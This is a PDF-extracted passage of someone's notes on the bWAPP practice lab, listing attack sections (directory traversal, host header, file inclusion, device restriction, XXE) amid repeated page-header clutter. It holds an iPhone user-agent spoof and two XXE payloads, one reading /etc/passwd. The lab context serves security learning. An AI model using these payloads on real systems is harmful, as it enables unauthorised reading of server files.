Directory Traversal - FilesHost Header Attack (Cache Poisoning)Remote & Local File Inclusion (RFI/LFI)Restrict Device AccessXML External Entity Attacks (XXE)

*Directory Traversal - Directories*Host Header Attack (Reset Poisoning)*Local File Inclusion (SQLiteManager)*Restrict Folder Access*Server Side Request Forgery (SSRF)

A7: Missing Functional Level Access ControlApril 1, 2015 4:06 PM

bWAPP Page 70

Page 71: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Directory Traversal (Directories)April 1, 2015 4:07 PM

bWAPP Page 71

Page 72: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 72

Page 73: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Directory Traversal (Files)Wednesday, April 1, 2015 7:48 PM

bWAPP Page 73

Page 74: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 74

Page 75: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Host Header Attack (Cache Poisoning)Wednesday, April 1, 2015 8:02 PM

bWAPP Page 75

Page 76: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 76

Page 77: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 77

Page 78: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 78

Page 79: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 79

Page 80: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Remote and Local File InclusionWednesday, April 1, 2015 8:27 PM

bWAPP Page 80

Page 81: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 81

Page 82: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 82

Page 83: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 83

Page 84: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 84

Page 85: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Mozilla/5.0(iPhone;U;CPUiPhoneOS4_0likeMacOSX;en-us)AppleWebKit/532.9(KHTML,likeGecko)Version/4.0.5Mobile/8A293Safari/6531.22.7

Restrict Device AccessWednesday, April 1, 2015 8:38 PM

bWAPP Page 85

Page 86: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 86

Page 87: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

XML External Entity Attacks (XXE)April 2, 2015 8:24 AM

bWAPP Page 87

Page 88: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY popped SYSTEM "http://192.168.254.131/bWAPP/robots.txt">

]><reset><login>&popped;</login><secret>Any bugs?</secret></reset>

bWAPP Page 88

Page 89: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY popped SYSTEM "file:///etc/passwd">

]><reset><login>&popped;</login><secret>Any bugs?</secret></reset>

bWAPP Page 89

Page 90: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 90

Page 91: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

http://www.exploit-db.com/papers/13694/

http://insecurety.net/?p=705

Extras: PHP Eval()April 2, 2015 1:38 PM

bWAPP Page 91